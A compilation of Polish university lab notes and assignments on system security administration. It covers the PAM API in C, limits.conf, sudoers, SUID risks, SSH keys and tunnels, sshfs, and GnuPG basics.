PAM można używać również we własnych aplikacjach. Popatrzmy na przykład
#include <security/pam_appl.h> #include <security/pam_misc.h> #include <stdio.h> static struct pam_conv login_conv = { misc_conv, /* przykładowa funkcja konwersacji z libpam_misc */ NULL /* ewentualne dane aplikacji (,,domknięcie'') */ }; void main () { pam_handle_t* pamh = NULL; int retval; char *username = NULL; retval = pam_start("login", username, &login_conv, &pamh); if (pamh == NULL || retval != PAM_SUCCESS) { fprintf(stderr, "Error when starting: %d\n", retval); exit(1); } retval = pam_authenticate(pamh, 0); /* próba autoryzacji */ if (retval != PAM_SUCCESS) { fprintf(stderr, "Chyba się nie udało!\n"); exit(2); } else fprintf(stderr, "Świetnie Ci poszło.\n"); printf("OK\n"); /* rzekomy kod aplikacji */ pam_end(pamh, PAM_SUCCESS); exit(0); }
Po wywołaniu pam_start
zmienna pam
będzie zawierać dowiązanie do obiektu PAM, który będzie argumentem wszystkich kolejnych wywołań funkcji PAM.
Zmienna pam_conv
to struktura zawierająca informacje o funkcji do konwersacji z użytkownikiem -- tu użyliśmy najprostszej bibliotecznej funkcji
misc_conv
, można jednak użyć własnej.
Pierwszy argument funkcji pam_start
to nazwa aplikacji, potrzebna do
odnalezienia pliku konfiguracyjnego. Żeby nie trzeba było go pisać i instalować (wymaga uprawnień roota) można użyć nazwy innej już skonfigurowanej aplikacji (tutaj login
) -- będziemy mieć takie same reguły. Lepiej jednak mieć własną nazwę (np. "moje"), wtedy w katalogu /etc/pam.d powinien istnieć plik o tej nazwie (np. kopia pliku "login"). Pozwoli to używać nazwy tej aplikacji w plikach konfiguracyjnych w /etc/security.
Funkcja pam_authenticate
uruchamia ,,motor'' sprawdzania PAM -- usługę auth
. Dla pozostałych usług/grup istnieją analogiczne funkcje, szczegóły w podręczniku. Funkcja pam_end
po prostu kończy sesję.
Przy kompilacji i linkowaniu należy pamiętać o bibliotekach libpam
i
libpam_misc
, np.
gcc -o tescik tescik.c -lpam -lpam_misc
Podstawowa biblioteka libpam zawsze jest zainstalowana (w /lib lub /usr/lib), nawet nie warto sprawdzać. Trzeba zapewne doładować ,,development''. Na RedHatopodobnych systemach to pakiet pam-devel, w Debianie (czyli w laboratorium) to libpam0g-dev. Można też załadować libpam-doc jeśli nie ma. W naszej pracowni
apt-get install libpam0g-dev
Trzy podstawowe procedury autentykacji w PAM to:
1. pam_start(): funkcja PAM która powinna być wywołana na początku. Inicjalizuje bibliotekę PAM, czyta plik konfiguracyjny i ładuje potrzebne moduły autentykacji w kolejności podanej w pliku konfiguracyjnym. Zwraca referencję do biblioteki PAM, której należy używać w następnych wywołaniach.
2. pam_end(): ostatnia funkcja PAM, którą powinna wołać aplikacja. Po jej zakończeniu jesteśmy odłączeni od PAM, a cała pamięć PAM zwolniona.
3. pam_authenticate(): interfejs do mechanizmu autoryzacji załadowanych modułów. Wołana przez aplikację najczęśćiej na początku, żeby zidentyfikować użytkownika.
Inne pożyteczne procedury PAM to:
- pam_acct_mgmt(): sprawdza czy konto bieżącego użytkownika jest aktywne.
- pam_open_session(): rozpoczyna sesję.
- pam_close_session(): zamyka bieżącą sesję.
- pam_setcred(): zarządza tokenami uwierzytelniającymi.
- pam_chauthtok(): zmienia żeton identyfikacji (zapewne hasło).
- pam_set_item(): modyfikuje wpis w strukturze stanu PAM.
- pam_get_item(): pobiera podany element stanu PAM.
- pam_strerror(): zwraca komunikat dla błędu.
Nagłówki tych procedur są w security/pam_appl.h.
Funkcja konwersacji obsługuje współpracę modułu z aplikacją, dotarczając
modułowi metody odpytywania uż←tkownika o nazwę, hasło itp.
Jej sygnatura to:
int conv_func (int, const struct pam_message**, struct pam_response**, void*);
Zwykle używa się bibliotecznej funkcji misc_conv
.
Materiały:
Główne strona projektu to http://www.linux-pam.org/. Zawiera dokumentację i link do repozytorium kodu, m.in. A.G. Morgan, T. Kukuk ,,The Linux-PAM System Administrators' Guide''
Andrew G. Morgan ,,Pluggable Authentication Modules for Linux'' Linux Journal #44 (12/1997), http://www.linuxjournal.com/article/2120. Artykuł twórcy implementacji dla Linuksa, zawiera m.in. przykład programu używającego PAM.
Stara strona dystrybucyjna wszystkich materiałów dla Linuksa (http://www.kernel.org/pub/linux/libs/pam/) ma obecnie znaczenie historyczne. Ogólnie na sieci jest nieco materiałów przestarzałych, np. z roku 2001. Zostaliście ostrzeżeni!
Można też zajrzeć do http://wazniak.mimuw.edu.pl
A poza tym u nas na stronie SO:
tekst Pani Barbary Domagały
Cele:
- nakładanie ograniczeń na zasoby wykorzystywane przez użytkownika,
- rozszerzanie uprawnień użytkowników, aby mogli wykonywać uprzywilejowane akcje bez znajomości hasła administratora.
1. Nakładanie ograniczeń
Ograniczenia na wykorzystanie zasobów przez użytkowników ustawia administrator. Najlepiej, jeśli robimy to używając PAM (daje on możliwość ustawienia większego repertuaru ograniczeń).
Ustawianiem ograniczeń zajmuje się moduł pam_limits.so --- zwykle jest on wstępnie skonfigurowany i wystarczy do pliku /etc/security/limits.conf wpisać odpowiednie ograniczenia. Wiersze w tym pliku mają postać
<zakres> <typ> <zasób> <wartość>
Zakres podaje, kogo dotyczy ograniczenie, może to być:
- nazwa użytkownika,
- nazwa grupy poprzedzona znakiem @,
- skrót notacyjny * oznaczający wszystkich (poza rootem).
Typ określa, czy ograniczenie jest łagodne (soft), czy surowe (hard). Użytkownicy mogą poleceniem ulimit podwyższać ograniczenia łagodne.
Zasób podaje nazwę ograniczenia, np. fsize to rozmiar pliku, nofiles to liczba otwartych plików, maxlogins to liczba jednoczesnych zalogowań, a nproc to liczba procesów.
Przykład: aby ograniczyć liczbę procesów użytkownika guest, w pliku konfiguracyjnym umieszczamy
guest soft nproc 40 guest hard nproc 80
Do oglądania i modyfikowania ograniczeń przez użytkowników służy polecenie wewnętrzne shella ulimit, dlatego nie należy czytać
man ulimit
(bo on bywa czasem dziwaczny), lecz poszukać w tym, co daje
man bash
(albo nasz inny ulubiony shell). Na pewno warto użyć
ulimit -a
żeby zobaczyć wszystkie swoje ograniczenia i opcje przestawiające je.
2. Chwilowe rozszerzanie uprawnień użytkowników
Pewne operacje wymagają uprawnień posiadanych tylko przez niektórych użytkowników (np. tylko przez administratora). Jeśli chcemy pozwolić innym na ich wykonywanie (np. sterowanie podsystemem drukowania), to mamy dwie możliwości:
a) Rozdać im hasło roota, aby mogli się nań zalogować (na innego użytkownika można się chwilowo zalogować pisząc
su root
lub
su - root
Ta możliwość wydaje się jednak (przynajmniej większości administratorów) mało atrakcyjna. Można użyć modułu pam_wheel w pliku su i ograniczyć użycie polecenia su tylko do grupy wheel.
b) Na szczęście istnieje polecenie sudo. Nie wymaga ono znajomości hasła roota, lecz jedynie własnego, użytkownik musi jednak być sudoersem.
Informacje o sudoersach znajdują się w pliku konfiguracyjnym /etc/sudoers. Nie powinno się go edytować bezpośrednio, lecz użyć polecenia visudo.
Na początku pliku można umieścić aliasy, zawsze jest dostępny alias ALL. Wiersze w zasadniczej części pliku mają postać
<użytkownik> <komputer>=(<efektywny-użytkownik>) <programy>
na przykład
dobo ALL=(ALL) ALL
powoduje, że użytkownik dobo ma na wszystkich objętych tym plikiem komputerach wszelkie prawa (ale nie zna hasła roota). Aby ograniczyć to do lokalnego komputera i uprawnień root można napisać
dobo localhost= ALL
Można ograniczyć działanie sudo tylko do niektórych poleceń, sudoer może poznać swoje możliwości przez
sudo -l
3. Mechanizm SUID i SGID
Niektóre aplikacje (np. passwd) wymagają uprzywilejowanego dostępu do chronionych zasobów, takich jak pliki. Oczywiście nie ma sensu czynić wszystkich sudoersami. Dlatego plik wykonywalny (czyli program) może mieć ustawiony specjalny bit powodujący, że wykonuje się on z prawami
swojego właściciela lub grupy, a nie tego, kto go uruchomił.
Pliki takie nazywa się SUID (od Set UID) bądź SGID (Set GID). Generalnie mechanizm ten jest niebezpieczny, bo nie jest dostępna zbiorcza informacja o takich programach w naszym systemie (ale polecenie find ,,poleca się łaskawym klientom'').
Ustawianie takiego bitu w programach mających możliwość wykonania dowolnego innego programu (shelle, programy w C wywołujące system(...)) świadczy o dużej wrodzonej życzliwości właściciela programu --- należy go trzymać z dala od administrowania systemem.
Materiały:
man sudo man sudoers
http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...
1. Załóż użytkownika burak.
2. Zabroń mu logowania się kiedyś tam.
3. Pozwól użytkownikowi guest na zdalne logowanie się tylko z sąsiedniego komputera.
4. Ustaw temu użytkownikowi maksymalny rozmiar pliku na <n>
kilobajtów.
1. Używając PAM, ogranicz użytkownikowi luzer możliwość logowania (zdalnego i lokalnego) do godzin 14:30-14:45 (lub inny dogodny do sprawdzania termin).
2. Zabroń mu wielokrotnego logowania do systemu oraz ogranicz mu wielkość tworzonych plików do <n>
KB (w pracowni 5 listopada <n>
to około 280, zależy od tego, co robią skrypty startowe).
3. Ogranicz użytkownikowi luzer maksymalny czas wykorzystania procesora do 2 minut.
4. Użyj SUDO, aby użytkownik guest mógł dokonywać zamknięcia systemu
/sbin/shutdown now
(albo używać innej ulubionej ,,cudzej'' aplikacji).
1. Używając PAM, ogranicz użytkownikowi luzer możliwość logowania zdalnego do godzin 14:30-14:45 (lub inny dogodny do sprawdzania termin).
2. Zabroń mu wielokrotnego logowania do systemu oraz ogranicz mu wielkość tworzonych plików do <n>
KB (w pracowni <n>
to około 280, zależy od tego, co robią skrypty startowe).
3. Ogranicz użytkownikowi guest maksymalny czas wykorzystania procesora do 1 minuty.
4. Użyj SUDO, aby użytkownik luzer mógł dokonywać zamknięcia systemu
/sbin/shutdown now
(albo używać innej ulubionej ,,cudzej'' aplikacji).
1. Utwórz użytkowników user1, user2 i user3.
2. Skonfiguruj sudo tak, aby wszystkie próby użycia były logowane w /var/log/sudo.
3. Skonfiguruj sudo, aby użytkownik user1 mógł instalowac pakiety przez apt-get.
4. Skonfiguruj PAM tak, żeby tylko użytkownicy user2 i user3 mogli logować się
zdalnie przez SSH.
1. Utwórz użytkowników user1, user2 i user3.
2. Zezwól użytkownikowi user1 tylko na dwukrotne logowanie do systemu
oraz ogranicz jego maksymalną liczbę procesów na 20.
3. Skonfiguruj sudo, aby użytkownik user2 mógł ,,podglądać'' ruch
sieciowy (programem tcpdump).
4. Zabroń (używając PAM) użytkownikowi user3 (a może też root) zdalnego
logowania się przez SSH.
1. Wzorując się na przykładowym programie, napisz program sprawdzający,
czy podany przez użytkownika wiersz tekstu jest palindromem.
Program powinien wczytywać kolejne wiersze i dla każdego wypisywać
na terminalu ,,Tak'' lub ,,Nie''.
Po napotkaniu wiersza zawierającego kropkę program powinien kończyć
pracę.
Program powinien używać PAM: dostęp do programu powinien być
dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę
(login) użytkownika program powinien pytać ,,Kto to?''
Ponadto program powinien umożliwiać nakładanie ograniczeń na dni i
godziny, kiedy można z niego korzystać.
2. Używanie programu powinno być dozwolone między 11:00 i 11:30
(lub w innym pasującym do labu terminie - konkretne wartości
nie mogą być zaszyte w aplikacji).
3. Skonfiguruj sudo, aby użytkownik user2 (należy go założyć) mógł
ręcznie wyłączać system (polecenie shutdown).
4. Zezwól użytkownikowi user2 tylko na dwukrotne logowanie do systemu.
Po napotkaniu wiersza zawierającego kropkę program powinien kończyć
pracę.
Program powinien używać PAM: dostęp do programu powinien być
dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę
(login) użytkownika program powinien pytać ,,Kto to?''.
Ponadto program powinien umożliwiać nakładanie ograniczeń na dni
i godziny, kiedy można z niego korzystać.
Uwaga: wierszy tekstu może być dużo i mogą mieć różną długość.
Program konsumujący za dużo pamięci (tzn. nie zwracający nieużytków)
zostanie potraktowany limitami na rozmiar pamięci.
Pliki źródłowe programu (wraz z Makefile) należy wysłać prowadzącym
w postaci spakowanego archiwum do godziny 19:00 dnia poprzedzającego
zajęcia.
Wzorując się na przykładowym programie, napisz w języku C program znajdujący w podanym na wejściu tekście pięć najczęściej użytych słów (czyli takich, które wystąpiły najwięcej razy). Przez słowo w tym przypadku rozumiemy dowolny ciąg liter, otoczony innymi znakami.
Tekst zakończony jest wierszem zawierającym jedynie symbol "==". Po napotkaniu końca tekstu należy wypisać pierwszy wiersz tekstu i pięć znalezionych słów.
Na wejściu może wystąpić więcej niż jeden tekst, wtedy należy tę operację wykonać dla każdego tekstu osobno. Po napotkaniu wiersza zawierającego kropkę program powinien kończyć pracę.
Program powinien używać PAM: dostęp do programu powinien być dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę (login) użytkownika program powinien pytać ,,Badania korpusowe?''.
Ponadto program powinien umożliwiać nakładanie ograniczeń na liczbę jednoczesnych uruchomień programu przez użytkownika.
Uwaga: wierszy tekstu może być dużo i mogą mieć różną długość. Program konsumujący za dużo pamięci (tzn. nie zwracający nieużytków) zostanie potraktowany limitami na rozmiar pamięci.
Zezwól użytkownikowi user2 (należy go założyć) na używanie tego programu z urządzeń znakowych tty2, tty3 lub tty4. Inni użytkownicy mogą go używać wyłącznie z terminala tty4.
Zezwól użytkownikowi user2 (należy go założyć) tylko na dwukrotne
odpalenie programu.
Używanie programu SSH powinno być dozwolone między 11:00 i 11:30 w dni powszednie (lub w innym pasującym do labu terminie - ustaw odpowiednie ograniczenie.
Skonfiguruj sudo, aby użytkownik user2 mógł instalować pakiety (polecenie apt-get).
Pliki źródłowe programu (wraz z Makefile) proszę umieścić w osobnym katalogu,który należy wysłać prowadzącym w postaci spakowanego archiwum do godziny 22:30 dnia poprzedzającego zajęcia. Nazwa katalogu i nazwa archiwum powinny zawierać login autora (np. ab123456.tgz).
Zadanie zaliczeniowe - moduły 5 i 6
------------------------------------
1. Wzorując się na przykładowym programie, napisz program sprawdzający,
czy podany przez użytkownika wiersz tekstu jest palindromem.
Program powinien wczytywać kolejne wiersze i dla każdego wypisywać
na terminalu ,,Tak'' lub ,,Nie''.
Po napotkaniu wiersza zawierającego kropkę program powinien kończyć
pracę. Uwaga: wiersze tekstu mogą być _dowolnej_ długości.
Program powinien używać PAM: dostęp do programu powinien być
dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę
(login) użytkownika program powinien pytać ,,Kto to?''
Jednak dla root'a konieczne będzie podanie dodatkowego hasła.
Naprawdę jednak będą to dwa hasła: jedno z nich obowiązujące
od północy do godziny jedenastej (lub w innym dogodnym czasie
wypadającym w połowie zajęć), drugie w pozostałych godzinach.
Ponadto program powinien umożliwiać nakładanie ograniczeń na dni i
godziny, kiedy można z niego korzystać.
2. Używanie programu powinno być dozwolone między 11:00 i 11:30
(lub w innym pasującym do labu terminie - konkretne wartości
nie mogą być zaszyte w aplikacji).
3. Utwórz użytkowników luser1 i luser2.
4. Zezwól użytkownikowi luser1 tylko na dwukrotne logowanie do systemu
oraz ogranicz jego maksymalną liczbę procesów na 20.
5. Zezwól użytkownikowi luser2 na używanie tego programu tylko
z urządzeń znakowych tty2, tty3 lub tty4.
6. Skonfiguruj sudo, aby użytkownik luser2 mógł ,,podglądać'' ruch
sieciowy (programem tcpdump).
Pliki źródłowe programu (wraz z Makefile) proszę umieścić w osobnym katalogu,
który należy wysłać prowadzącym w postaci spakowanego archiwum tgz do godziny
22:30 dnia poprzedzającego drugie zajęcia bloku. Nazwa katalogu i nazwa archiwum
powinny zawierać login autora (np. ab123456.tgz).
Przypominamy, żę księgarnia Radagast zorganizowana jest w ten sposób, że ma dwóch menadżerów. Jeden z nich zajmuje się dostawami książek (dalej nazywany dostawcą), a drugi sprzedażą w sklepie (dalej nazywany szefem sali) i ma pod sobą pewną liczbę szeregowych sprzedawców. Zakładamy, że żaden użytkownik systemu komputerowego księgarni nie może przyjmować więcej niż jednej z powyższych ról.
Dotychczas baza danych zawierała trzy katalogi: opisy_ksiazek, zadania, raporty oraz pewną liczbę ich podkatalogów. Katalog z opisami książek pozwalał przeglądać książki w porządku alfabetycznym.
Ponieważ książki w księgarni ustawiano alfabetycznie, klienci uskarżali się, że trudno im szukać książek z interesującej ich dziedziny. Dlatego postanowiono dołożyć opisy przedmiotowe, stosując Uniwersalną Klasyfikację Dziesiętną Dewey'a (zob.
Ciocia Wikipedia albo Aunt Wiki). Dziedzinie bądź poddziedzinie wiedzy odpowiada stosowny numer. Każda książka jest zaliczana TYLKO do jednej dziedziny.
Książki będą (fizycznie) rozmieszczone w sklepie zgodnie z klasyfikacją przedmiotową, co pomoże pracownikom kierować klientów do odpowiednich regałów. Ograniczamy się do dwóch poziomów klasyfikacji.
Jak widać, ilość programów w księgarni zaczyna rosnąć. Powoduje to kłopoty z zapewnieniem bezpieczństwa aplikacji. Zdecydowano się więc na wdrożenie autoryzacji w oparciu o mechanizmy PAM. Powierzono Ci wykonanie następujących bazowych prac:
Pracę z aplikacją pracownik zaczyna od logowania się do aplikacji. Aplikacja, używając mechanizmów PAM, ustala jego poziom uprawnień.
Katalog przedmiotowy ma mieć postać drzewa hierarchii, zapisywanego pod koniec aplikacji na plik(i). Wprowadzenie nowej książki z opisem przedmiotowym powoduje automatycznie utworzenie pliku z pełnym opisem książki w katalogu alfabetycznym. W ,,drzewie'' katalogu przedmiotowego znajdą się tylko odnośniki.
Dozwolone operacje to:
Interfejs nie musi być śliczny, wystarczy tekstowa komunikacja z oknem konsoli.
W ramach oddawania zadania należy
Wszystkie materiały źródłowe należy dostarczyć w postaci spakowanego archiwum tgz, używając Moodle. Termin: dzień przed laboratorium
z odbiorem zadania.
Przecieki z działu kontroli jakości: oceniany będzie styl programowania (w zakresie bezpieczeństwa), zwłaszcza gospodarka buforami i ogólnie
pamięcią dynamiczną.
Zadanie 3: opisy merytoryczne kredytów
--------------------------------------
Przypominamy, że Green Forest Bank jest zorganizowany w ten sposób, że ma
dwa główne działy: bankowość detaliczną (DBD) i biznesową (DBB). Jeden z
nich zajmuje się obsługą klientów indywidualnych, a drugi klientów
biznesowych. Każdy dział ma swojego dyrektora, a każdy dyrektor ma pod sobą
pewną liczbę szeregowych pracowników obsługi. Zakładamy, że żaden
użytkownik systemu komputerowego banku nie może przyjmować więcej niż
jednej z powyższych roli.
Dotychczas baza danych zawierała trzy katalogi: kredyty, lokaty, zadania
oraz pewną liczbę ich podkatalogów. Katalog z opisami kredytów
pozwalał przeglądać kredyty w porządku chronologicznym.
Pracownicy uskarżali się, że trudno im szukać opisów kredytów z interesującej
ich dziedziny (np. mieszkaniowe). Dlatego postanowiono dołożyć opisy
merytoryczne stosując słowa kluczowe. Każdej dziedzinie odpowiada
pojedyncze słowo kluczowe. Każdy kredyt jest zaliczany TYLKO do jednej
dziedziny.
Do przeglądania kredytów z określonej dziedziny powstaną specyficzne
apliacje. Jak widać, ilość programów w banku zaczyna rosnąć.
Powoduje to kłopoty z zapewnieniem bezpieczństwa aplikacji.
Zdecydowano się więc na wdrożenie autoryzacji w oparciu o mechanizmy PAM.
Powierzono Ci wykonanie następujących bazowych prac:
1. Stworzenie szkieletu aplikacji w języku C dla pracowników firmy
z ustanowieniem standardu kodowania. Aplikacje mają używać
mechanizmów PAM do autoryzacji. Oprócz szkieletu programu potrzebny
będzie wzór pliku konfiguracyjnego dla PAM.
2. Wykonanie na bazie tego szkieletu próbnej aplikacji obsługującej
kredyty z określonej dziedziny (proof of concept). Ma ona mieć
dwa poziomy uprawnień:
- zwykły pracownik może przeglądać kredyty dla wybranej dziedziny,
na potrzeby tego zadania zakładamy, że przeglądanie polega na wypisaniu
pierwszych wierszy z plików tekstowych opisujących kredyty
(jakby nagłówków);
- menadżerowie mogą zmieniać klasyfikację istniejących kredytów,
wybierając kredyt i podając jego nową klasyfikację.
Pracę z aplikacją pracownik zaczyna od logowania się do aplikacji.
Aplikacja, używając mechanizmów PAM, ustala jego poziom uprawnień.
3. Ponieważ menadżerowie są leniwi i nie chce im się katalogować kredytów,
chcą mieć możliwość cedowania zwiększonych możliwości działania
na NIEKTÓRYCH pracowników. Skorzystamy do tego z mechanizmu SUDO.
Katalog opisów merytorycznych ma być osobną jednostką, zapisywaną pod
koniec pracy aplikacji na plik(i) w katalogu kredyty.
Wprowadzenie nowego kredytu powoduje automatycznie utworzenie pliku z
pełnym opisem kredytu (nasza aplikacja tego nie robi, kredyty do testowania
wprowadzimy ręcznie). Natomiast w katalogu merytorycznym przy jego
klasyfikacji znajdzie się stosowny odnośnik (umówmy się, że będzie to
ścieżka do pliku) - i to nasza aplikacja pozwala zmienić, o ile
użytkownik posiada rozszerzone uprawnienia.
Dozwolone operacje to:
- obejrzenie listy symboli klasyfikacyjnych
- obejrzenie nagłowków kredytów o podanym symbolu
- zmiana klasyfikacji dla istniejącego kredytu
- podanie listy kredytów bez klasyfikacji.
Interfejs nie musi być śliczny, wystarczy tekstowa komunikacja z oknem
konsoli.
---------------------------------------------------------------------
W ramach oddawania zadania należy
A. Przygotować szkielet aplikacji jako wzór dla innych.
B. Dostarczyć aplikację katalogu merytorycznego zgodną z powyższą:
żródła w C, pliki konfiguracyjne, skrypt/Makefile tworzący
aplikację i rozmieszczający pliki konfiguracyjne.
C. Przygotować na drugie zajęcia NIEWIELKĄ bazę testową (10 kredytów).
D. Nadać uprawnienia pracownikom (por. zajęcia 1-2),
używając SUDO należy jednemu z szeregowych pracowników pozwolić
na pełną obsługę aplikacji testowej (ale tylko na to).
Wszystkie materiały źródłowe należy dostarczyć w postaci spakowanego
archiwum tgz, używając Moodle. Termin: dzień przed laboratorium
z odbiorem zadania.
Przecieki z działu kontroli jakości: oceniany będzie styl programowania
(w zakresie bezpieczeństwa), zwłaszcza gospodarka buforami i ogólnie
pamięcią dynamiczną.
Patryk Czarnik
BSK 2009/2010, ostatnia aktualizacja MIchał Kutwin 2020/2021
Temat opisują także scenariusze 7 i 8 na Ważniaku. Zwróć uwagę szczególnie
na niewymienione w bieżącym tekście polecenia programu gpg.
Przeczytaj (żeby wiedzieć jakie są możliwości, ale niekoniecznie znać na pamięć składnię i opcje):
man ssh, man ssh-keygen, man sshd_config, man gpg.
Warto przejrzeć (i wyłapać najważniejsze hasła) także:
man ssh_config, man ssh-agent, man scp, man rsync, man sftp, a także SSH i PGP na Wikipedii.
SSH (Secure Shell) to protokół zabezpieczający komunikację w warstwie aplikacji, którego podstawowym zastosowaniem jest zdalna praca przez konsolę tekstową. Może on być jednak używany także do innych celów, m.in. zdalnego używania aplikacji graficznych X Windows, bezpiecznego przesyłania plików, montowania zdalnych katalogów i tunelowania dowolnych połączeń TCP.
Zabezpieczenie komunikacji polega na:
Używać będziemy implementacji OpenSSH, której podstawowe pakiety to zwykle
openssh (instaluje go automatycznie każda znana mi dystrybucja) oraz
openssh-server (to już często trzeba doinstalować samodzielnie).
SSH oferuje kilka metod uwierzytelnienia, z najpopularniejszymi „password” (na podstawie hasła), „keyboard interactive” (bardziej ogólna metoda, w praktyce też najczęściej sprowadzająca się do podania hasła) oraz „public key” opisana w dalszej części.
Używanie uwierzytelnienia opartego o hasło jest o tyle wygodne, że nie wymaga specjalnej konfiguracji. Natomiast obarczone jest wieloma wadami z punktu widzenia bezpieczeństwa oraz wygody:
Generujmy parę kluczy (programem ssh-keygen), klucz prywatny pozostaje po stronie klienta (w pliku .ssh/id_rsa lub .ssh/id_dsa), a klucz publiczny jest wgrywany na serwer. Klucze publiczne są zapisywane na serwerze jeden po drugim w pliku .ssh/authorized_keys na koncie tego użytkownika, na które chcemy się logować; do dodania klucza na serwer można użyć także narzędzia ssh-copy-id (po stronie klienta).
Standardowo używa się osobnego klucza prywatnego dla każdego komputera (i konta), z którego łączymy się ze światem, oraz wgrywa się odpowiadające klucze publiczne na te serwery i konta, do których chcemy się logować. Klucz prywatny można zabezpieczyć hasłem, co utrudni użycie klucza w przypadku przejęcia pliku z kluczem.
„Losowo” wygenerowany klucz nie jest narażony na ataki słownikowe, a atak siłowy, ze względu na długość klucza, wymaga ogromnych nakładów. Protokół SSH nie przesyła klucza prywatnego nawet w postaci zaszyfrowanej, co zabezpiecza przed atakiem "man in the middle". Wadą tego rodzaju uwierzytelnienia jest konieczność przechowywania plików z kluczami i chronienia plików z kluczami prywatnymi.
Zarządzaniem kluczami podczas jednej sesji lokalnej może zajmować się program ssh-agent, do którego często systemowy interfejs użytkownika (Gnome, KDE itp.) oferuje nakładki graficzne. Można też używać tekstowego polecenia ssh-add, aby na czas sesji zapamiętać otwarty klucz. Uwalnia to użytkownika od konieczności wielokrotnego wpisywania hasła odblokowującego klucz.
OpenSSH pozwala dość dokładnie skonfigurować serwer i dostosować go do wymagań bezpieczeństwa, wygody i innych. Możliwe jest m.in. stosowanie ograniczeń na dostępne algorytmy, sposoby uwierzytelnienia, liczbę otwartych sesji itp. w zależności od użytkownika i hosta, z którego się łączy. Można także wymóc stosowanie uwierzytelnienia i limitów opartych o PAM (poprzednie zajęcia). Standardowo konfiguracja serwera zapisywana jest w pliku /etc/ssh/sshd_config.
Szczegóły: man sshd_config.
Większość opcji dla klienta SSH można podać bezpośrednio w wierszu poleceń, ale dla wygody można także zapisać je w pliku konfiguracyjnym, w razie potrzeby uzależniając konfigurację od serwera docelowego. Konfiguracja klienta SSH zapisywana jest w plikach /etc/ssh/ssh_config (domyślna dla systemu) i ~/.ssh/config (dla użytkownika).
Szczegóły: man ssh oraz man ssh_config
Służą do tego protokoły i odpowiadające im aplikacje scp (najprostsza), sftp i rsync (bardziej zaawansowane), wewnętrznie używające protokołu SSH.
Cechą charakterystyczną sftp jest zbiór poleceń analogicznych do poleceń FTP, natomiast cechą charakterystyczną rsync jest różnicowe przesyłanie plików – sprawdzanie (poprzez porównywanie skrótów), które pliki lub bloki większych plików uległy zmianie i przesyłanie tylko tych zmienionych. Oba polecenia pozwalają przesyłać całe drzewa katalogów z możliwością filtrowania po rodzaju pliku, przenoszenia uprawnień itp.
Uwaga: SFTP jest niezależnie zdefiniowanym protokołem (funkcjonalnie wzorowanym na FTP), a nie jest tylko tunelowaniem zwykłego FTP w połączeniu SSH (ani tym bardziej SSL).
Pośrednio z SSH do transferu plików mogą korzystać także cvs, svn czy git.
Wszyscy znamy (a przynajmniej powinniśmy) mechanizm NFS do tworzenia sieciowych systemów plików - montowania lokalnie katalogów serwera plików. Zwykły użytkownik może osiągnąć to samo: zamontować sobie katalog z innego komputera. Jedyny warunek: trzeba mieć konto na ,,serwerze''.
Do takiego ad hoc montowania służy program sshfs. Do zamontowania zdalnego
katalogu używamy polecenia
sshfs komputer:katalog punkt-montowania
Punkt montowania to katalog na lokalnym komputerze (najlepiej pusty ;-). Pierwszy argument to katalog na zdalnym komputerze w typowej notacji używanej przez scp itp. Trzeba mieć do niego odpowiednie prawa.
Od tego momentu cała struktura tego katalogu jest widoczna lokalnie. Polecenie akceptuje większość opcji ssh i jescze trochę, szczegóły jak zwykle w man.
Aby odmontować taki katalog piszemy
fusermount -u punkt-montowania
To polecenie zdradza rodzaj użytego ,,oszustwa'': korzystamy z modułu jądra FUSE (Filesystem in USErspace).
Bezpieczne tunelowanie połączeń TCP ogromnie zwiększa gamę zastosowań SSH. Istnieją dwa rodzaje tuneli ze względu na kierunek:
-L
): połączenia do podanego lokalnego portu klienta są przekazywane na serwer SSH i stamtąd łączymy się z docelowym serwerem, np.
ssh -L 1234:www.w3.org:80 students.mimuw.edu.pl
spowoduje otwarcie na lokalnej maszynie portu 1234 do nasłuchiwania, a połączenie do tego portu zostanie przekazane (w tunelu) na students i stamtąd otwarte (już bez ochrony) do www.w3.org na port 80.
-R
): połączenia do podanego portu na serwerze SSH są przekazywane na maszynę lokalną i z niej łączymy się z docelowym adresem, np.
ssh -R 1234:localhost:8080 students.mimuw.edu.pl
spowoduje, że na students zostanie otwarty do nasłuchiwania port 1234, a połączenia przychodzące do tego portu zostaną (w tunelu) przekazane na lokalną maszynę (z której wywoływaliśmy ssh) i tam (bo napisaliśmy localhost
) zostaną skierowane do portu 8080.
Uwaga: domyślna konfiguracja SSH (także na students) powoduje, że porty otwarte na serwerze nie są widoczne z zewnątrz, a jedynie poprzez lokalny interfejs loopback („localhost”); można to zmienić w konfiguracji serwera za pomocą opcji GatewayPorts
.
Można także tworzyć w konfiguracji „urządzenia tunelowe” czy tunelować protokół SOCKS, w co się już nie wgłębiamy.
źródło obrazka: http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/
OpenPGP to otwarty standard IETF oparty o wcześniejszy, obecnie częściowo komercyjny, produkt PGP (Pretty Good Privacy). Standard ten opisuje metody zabezpieczania poczty elektronicznej i plików. Podstawą jest użycie kryptografii klucza publicznego, a gdy przyjrzeć się szczegółom, okaże się, że używana jest także kryptografia klucza sekretnego ("szyfrowanie symetryczne"), bezpieczne funkcje haszujące ("skrót kryptograficzny"), kompresja oraz konwersja radix64.
Dwie najważniejsze funkcje to podpisywanie wiadomości (kluczem prywatnym nadawcy) i szyfrowanie wiadomości (kluczem publicznym odbiorcy). Do weryfikacji podpisu potrzebny jest klucz publiczny nadawcy, a do odszyfrowania wiadomości klucz prywatny odbiorcy. Podpisywanie i szyfrowanie mogą być stosowane niezależnie od siebie.
Przyjrzyjmy się operacjom nieco bardziej szczegółowo.
Podpisywanie polega na:
Szyfrowanie polega na:
Popularną otwartą implementacją standardu jest GnuPG. Pod Linuksem dostępne są polecenia: gpg i gpg2, którymi można wykonywać operacje na plikach (także zapisanych wiadomościach) i zarządzać kluczami.
Sama aplikacja może być także używana do wykonywania na plikach pojedynczych operacji – składników standardu PGP, z czego użyteczne może być np. szyfrowanie plików na dysku czy weryfikacja spójności plików pobranych z sieci (wykorzystywane przez menedżery pakietów rpm i deb).
Aby wygenerować klucz piszemy
gpg --gen-key
Inne popularne polecenia opisano w Ważniaku, a wszystkie w man gpg.
